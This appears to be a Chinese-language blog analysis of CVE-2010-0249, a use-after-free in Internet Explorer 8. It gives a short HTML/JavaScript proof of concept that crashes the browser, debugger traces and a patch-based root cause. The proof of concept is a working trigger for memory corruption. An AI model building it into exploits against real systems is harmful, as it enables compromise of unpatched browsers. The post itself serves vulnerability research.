CVE-2010-0249 IE8 UAF漏洞分析
CVE-2010-0249
[CNNVD]Microsoft Internet Explorer非法事件操作内存破坏漏洞(CNNVD-201001-153)
Microsoft Internet Explorer是微软Windows操作系统中默认捆绑的WEB浏览器。
Microsoft Internet Explorer在处理非法的事件操作时存在内存破坏漏洞。由于在创建对象以后没有增加相应的访问记数,恶意的对象操作流程可能导致指针指向被释放后重使用的内存,远程攻击者可通过诱使用户访问恶意网页非法操作内存在用户系统上执行指令。
POC来自zenhumany的博客
环境
Windows 7 x86
IE 8.0.7600.16385
POC
<html>
<script>
var event2 = null;
function test()
{
event2 = document.createEventObject(event);
document.getElementById("x").innerHTML = "foo"; // 删除初始化了事件的元素
window.setTimeout(test2, 100);
}
function test2()
{
alert(event2.srcElement); //在事件中访问已经删除了的元素
}
</script>
<body>
<div id="x">
<input type="button" value="test" onclick="test()">
</div>
</body>
</html>
分析
载入POC后,IE页面进程crash,调试信息如下
0:005> r
eax=06c90f08 ebx=00000000 ecx=06be2fd0 edx=043bf064 esi=07822f78 edi=0642efb0
eip=627a88c7 esp=043bf058 ebp=043bf06c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mshtml!CEventObj::GenericGetElement+0x91:
627a88c7 8b37 mov esi,dword ptr [edi] ds:0023:0642efb0=????????
分析发现edi来源于eax值,而eax值源自上层函数
627a88be 8b38 mov edi,dword ptr [eax]
627a88c0 8b5874 mov ebx,dword ptr [eax+74h]
627a88c3 85ff test edi,edi
627a88c5 745e je mshtml!CEventObj::GenericGetElement+0x11c (627a8925)
627a88c7 8b37 mov esi,dword ptr [edi] ds:0023:0642efb0=????????
查看eax,发现eax是EventObject,如下
0:005> !heap -p -a eax
address 06c90f08 found in
_DPH_HEAP_ROOT @ 51000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
7601d68: 6c90f08 f8 - 6c90000 2000
6b968e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
771a4ea6 ntdll!RtlDebugAllocateHeap+0x00000030
77167d96 ntdll!RtlpAllocateHeap+0x000000c4
771334ca ntdll!RtlAllocateHeap+0x0000023a
6277c873 mshtml!EVENTPARAM::operator new+0x00000013
6288d2c5 mshtml!CDocument::createEventObject+0x00000083
628c2791 mshtml!Method_IDispatchpp_o0oVARIANTp+0x000000ea
6278235c mshtml!CBase::ContextInvokeEx+0x000005dc
627825d5 mshtml!CBase::InvokeEx+0x00000025
6278df9a mshtml!DispatchInvokeCollection+0x0000014c
62744998 mshtml!CDocument::InvokeEx+0x000000f0
62733148 mshtml!CBase::VersionedInvokeEx+0x00000020
62733104 mshtml!PlainInvokeEx+0x000000eb
674aa22a jscript!IDispatchExInvokeEx2+0x00000104
674aa175 jscript!IDispatchExInvokeEx+0x0000006a
674aa3f6 jscript!InvokeDispatchEx+0x00000098
674aa4a0 jscript!VAR::InvokeByName+0x00000139
674bd8c8 jscript!VAR::InvokeDispName+0x0000007d
674bd96f jscript!VAR::InvokeByDispID+0x000000ce
674b51b6 jscript!CScriptRuntime::Run+0x00002a97
674b5c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
674b5bfb jscript!ScrFncObj::Call+0x0000008d
674b5e11 jscript!CSession::Execute+0x0000015f
674af3ee jscript!NameTbl::InvokeDef+0x000001b5
674aea2e jscript!NameTbl::InvokeEx+0x0000012c
674aa22a jscript!IDispatchExInvokeEx2+0x00000104
674aa175 jscript!IDispatchExInvokeEx+0x0000006a
674af5f8 jscript!NameTbl::InvokeEx+0x0000037a
627919cb mshtml!CScriptCollection::InvokeEx+0x0000008a
6278f451 mshtml!CWindow::InvokeEx+0x000006ad
62733148 mshtml!CBase::VersionedInvokeEx+0x00000020
62733104 mshtml!PlainInvokeEx+0x000000eb
进一步查看UAF对象,推测是CTreeNode对象
0:005> !heap -p -a edi
address 0642efb0 found in
_DPH_HEAP_ROOT @ 51000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
63cc340: 642e000 2000
6b9690b2 verifier!AVrfDebugPageHeapFree+0x000000c2
771a5674 ntdll!RtlDebugFreeHeap+0x0000002f
77167aca ntdll!RtlpFreeHeap+0x0000005d
77132d68 ntdll!RtlFreeHeap+0x00000142
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\kernel32.dll -
7560f1ac kernel32!HeapFree+0x00000014
6275e590 mshtml!CTreeNode::Release+0x0000002d
至此,我们得出结论:EventObject存在有某对象的CTreeNode悬垂指针,它导致了UAF的发生。接下来的问题是要搞清楚CTreeNode属于哪个元素,这里猜测是属于input标签的。调试结果印证了我们的猜测
0:005> ln poi(06efbf88)
(6f988c70) mshtml!CInput::`vftable' | (6f988eac) mshtml!CInput::`vftable'
Exact matches:
mshtml!CInput::`vftable' = <no type information>
因为POC足够的简洁明了,可以直接看出createEventObject创建了事件对象,getElementById("x").snnerHTML = "foo"清空了input标签,而alert(event2.srcElement)触发了异常访问。但是此外还有一个问题,就是event2是如何与input的CTreeNode产生的关联。
这一点根据zenhumany的解释是"如果新创建的CEventObj是从已有的CEventObj继承而来时,则这两个CEventObj事件的源相同。",单纯凭借POC很难分析出来。
成因
其实我一直认为凭借POC是很难去判断出一个漏洞的本质成因的,因为POC往往最多可以分析出Crash的原因,至于这个Crash为什么会发生则难以判断。比如,以这个漏洞为例,我们可以知道是因为:EventObject存在有input的CTreeNode对象的悬垂指针导致的Crash,但是这个悬垂指针为什么产生却难以说清楚。为此,我们需要进行补丁对比,我觉得只有知道这个洞是怎么补的,才能说知道这个洞是怎么产生的。
在修补后的EVENTPARAM::EVENTPARAM函数中,额外增加了对CTreeNode::NodeAddRef函数的调用。就是说漏洞的原因在于复制了指针,对CTreeNode对象进行引用,但是却没有增加引用计数。
CVE-2010-0249 IE8 UAF漏洞分析的更多相关文章
- exim CVE-2017-16943 uaf漏洞分析
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这是最近爆出来的 exim 的一个 uaf 漏洞,可以进行远程代码 ...
- 看个AV也中招之cve-2010-2553漏洞分析
试想:某一天,你的基友给你了一个视频文件,号称是陈老师拍的苍老师的老师题材的最新电影.avi,你满心欢喜,在确定文件格式确实为avi格式后,愉快的脱下裤子准备欣赏,打开后却发现什么也没有,而随后你的基 ...
- CVE-2013-1347:从入门到放弃之调试分析令人崩溃的 Microsoft IE CGenericElement UAF 漏洞
0x01 2013 年 "水坑" APT 攻击事件 在 2013 年 5 月,美国的劳工部网站被黑,利用的正是 CVE-2013-1347 这个漏洞,在当时导致大量使用 IE8 访 ...
- CVE-2013-1347:Microsoft IE CGenericElement UAF 漏洞利用样本分析
CVE-2013-1347 漏洞是典型的 IE 浏览器 UAF 漏洞,所以其利用方法和一般的 IE 浏览器漏洞的利用方法非常相似,所以流程大体上可以分为这些步骤:(1) 对象被释放 (2) 精确覆盖被 ...
- 漏洞分析:CVE 2021-3156
漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...
- CVE-2010-3971 CSS内存破坏漏洞分析
看了仙果版主的议题演讲,其中提到cve-2010-3971是一个浏览器漏洞利用中的里程碑.于是找来POC,尝试分析一下. 1.漏洞重现 XP SP3+ie6.0环境 poc如下: poc.htm &l ...
- CVE-2016-0143 漏洞分析(2016.4)
CVE-2016-0143漏洞分析 0x00 背景 4月20日,Nils Sommer在exploitdb上爆出了一枚新的Windows内核漏洞PoC.该漏洞影响所有版本的Windows操作系统,攻击 ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- FFmpeg任意文件读取漏洞分析
这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...
随机推荐
- Hbase远程连接:Can't get the locations
当Java API远程连接出错:Can't get the locations 原先填入的是IP地址,后来改为HOSTS文件中配置的主机名问题解决,如下红色字体部分: conf.set("h ...
- [代码]--其他信息: ORA-01400: 无法将 NULL 插入
这个错误其实就是oracle数据库的某列约束为 not null,但在插入值的时候插入了控制,无论是null和"",它都识别为空 有两种方法: 1.修改数据库字段约束为允许为空 2 ...
- SSM 全局异常
转载: http://blog.csdn.net/m13321169565/article/details/7641978 废话不多,直接说重点. 一 创建异常拦截类 (这里将 webapi 和 ...
- Day18-前端和后端怎么区分
前端 - 通常是针对浏览器而开发的,是在浏览器端运行的程序,而后端 - 针对的是服务器,准确的来说应该是服务器端开发.前端开发偏向于用户体验,比较直观,服务器端开发偏向于性能. 前端和后端指的是网站建 ...
- 学习Spring Boot:(十一) 自定义装配参数
前言 SpringMVC 中 Controller 中方法的参数非常灵活,得益于它的强大自动装配,这次将根据上次遗留下的问题,将研究下装配参数. 正文 SpringMVC中使用了两个接口来处理参数: ...
- 沉迷AC自动机无法自拔之:[UVA 11468] Substring
图片加载可能有点慢,请跳过题面先看题解,谢谢 这个鬼题目,上一波套路好了 先用题目给的模板串建\(AC\)自动机,把单词结尾标记为 \(val=1\),然后在建好的\(AC\)自动机上跑 \(dp\) ...
- WCF trace、log
1. 打开wcf配置: 2. enable trace , log 可以改变log路径: 3. 用 SvcTraceViewer.exe (直接在c盘下搜索) 查看 4. 如果想自定义trac ...
- (转)丢掉鼠标吧,使用最好用的eclipse快捷键
背景:eclipse作为自己经常使用的一款开发工具,熟练运用,能够达到事半功倍的效果.下面这篇文章总结了一些平时经常要使用的快捷键,十分的方便. 介绍Eclipse快捷键的文章很多,但大多都不详细,且 ...
- ELK logstash 处理MySQL慢查询日志
在生产环境下,logstash 经常会遇到处理多种格式的日志,不同的日志格式,解析方法不同.下面来说说logstash处理多行日志的例子,对MySQL慢查询日志进行分析,这个经常遇到过,网络上疑问也很 ...
- (转)Python中的模块循环导入问题
本文转自: https://wiki.woodpecker.org.cn/moin/MiscItems/2008-11-25 问题 cleven <shenglipang@gmail.com&g ...